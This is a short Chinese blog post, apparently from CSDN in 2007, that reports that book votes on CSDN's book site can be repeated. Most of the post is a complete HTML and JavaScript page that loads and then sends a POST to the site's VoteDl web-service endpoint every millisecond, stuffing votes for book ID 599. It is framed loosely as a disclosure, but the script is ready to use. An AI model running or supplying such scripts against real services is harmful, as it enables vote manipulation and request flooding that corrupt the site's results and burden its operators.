公开一个CSDN漏洞

2007-01-24 06:03:51 301 阅读 AI 写同款 · GEO 优化AI 选题数据监测一键分发 ›

【SEED Labs 2.0】V*N Tunneling Lab 本文为 SEED Labs 2.0 - V*N Tunneling Lab 的实验记录。本实验工作量较大，但难度不大，重点在于搞清是谁发给谁，走的什么路径。另外，本次实验由于网络中的设备较多，修改了环境变量方便分清哪个窗口是哪个设备。这样操作起来就方便多了。... 阅读详情

发现关于http://book.csdn.net/下的一些投票都可以重复投

这个web service很特别
http://club.book.csdn.net/BookServer/bs.asmx

关于一个图书投票地址
http://club.book.csdn.net/people/mylist599.html

以下对上面地址刷票
<html>
<body onload="Timer_submit()">
<script>
function Timer_submit()
{
Submit();
window.setTimeout("Timer_submit()",1);
}
function InitDataWs()
{
if(window.XMLHttpRequest)
{
szRequest=new XMLHttpRequest();
szRequest.overrideMimeType("text/xml");
}
else
{
szRequest=new ActiveXObject("Microsoft.XMLHTTP");
}
szRequest.open("POST","http://club.book.csdn.net/BookServer/bs.asmx/VoteDl",true);
}
function Submit()
{
InitDataWs();
szRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
szRequest.send("dlid=599&type=1");//dlid什么什么ID, type=0 代表没用,type=1 代表有用
szRequest=null;
}
</script>
</body>
</html>
或许这不算是个漏洞,大家看一下

...全文